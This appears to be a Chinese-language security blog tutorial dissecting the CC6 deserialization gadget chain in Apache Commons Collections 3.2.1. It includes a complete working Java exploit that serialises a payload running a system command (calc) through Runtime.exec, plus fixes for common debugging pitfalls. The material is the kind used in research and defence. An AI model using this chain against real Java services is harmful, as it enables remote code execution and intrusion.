CC6被称为是最好用的CC利用链,因为CC6不限制jdk版本,只要commons collections 小于等于3.2.1,都存在这个漏洞。
环境配置
- Jdk 8u71
- Comoons-Collections 3.2.1
链子分析
第一阶段
CC6前半段链子和LazyMap版的CC1是一样的,LazyMap 类到 InvokerTransformer 类是一样的,我们直接到 LazyMap 下从找get方法开始
第二阶段
CC6运用到的主要类就是这个TiedMapEntry 类中的 getValue() 方法
![image]()
而这个map是TiedMapEntry构造函数的参数可控
![image]()
至此我们编写一下Exp试试这个TiedMapEntry是否可行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| package CC6;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class Test { public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "nbc"); tiedMapEntry.getValue(); } }
|
![image]()
第三阶段
然后就是继续往后找了,看看谁调用了getValue方法,正好就在这个类里有个hashCode方法中调用了getValue
![image]()
看到hashCode这个方法就很熟悉了,就是urldns中的那个链子,在readObject中有个putVal里面有个hash(key)中自动调用key.hashCode()
![image]()
![image]()
key可以通过HashMap.put()设置
但是发现HashMap.put()本身就会调用一次hash()
![image]()
这就会导致命令提前触发,导致反序列化的时候就不触发了
![image]()
这里的解决方案是在put前将LazyMap的factory属性改为个随便的数据,然后再put之后再通过反射改回来,因为是protected属性
![image]()
![image]()
使其不触发
![image]()
再通过反射改回来
1 2 3 4
| Class lazyMapClass = LazyMap.class; Field factoryField = lazyMapClass.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap, chainedTransformer);
|
tnnd为什么不弹
但是发现怎么不弹计算器
在LazyMap中的get()方法处下个断点我们可以发现再反序列化的时候跳到这个地点时那个if判断是进不去的因为map.containsKey(key)是true
![image]()
这是因为get方法中存在map.put(key, value)
序列化前如果map没包含这个key,那么就给map传入这个键值对。
这样就会导致反序列化时map里已经存在这个key了,所以不会执行factory.transform(key),从而导致无法命令执行。
所以我们把这个key在put后给删了就行
![image]()
![image]()
最终Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| package CC6;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class CC6Exp { public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("suibian")); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "nbc1"); HashMap finHash = new HashMap<>(); finHash.put(tiedMapEntry,"nbc2"); hashMap.remove("nbc1"); Class lazyMapClass = LazyMap.class; Field factoryField = lazyMapClass.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap, chainedTransformer); serialize(finHash); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }
}
|
调试问题
如果调试的时候发现序列化的时候就弹计算器了,这是因为idea自带的会触发toString方法,点掉就行
![image]()
导致直接调用了
![image]()
流程
1 2 3 4 5 6 7 8 9
| HashMap.readObject() HashMap.put() HashMap.hash() TiedMapEntry.hashCode() TiedMapEntry.getValue() LazyMap.get() ChainedTransformer.transform() InvokerTransformer.transform() Runtime.exec()
|
![image]()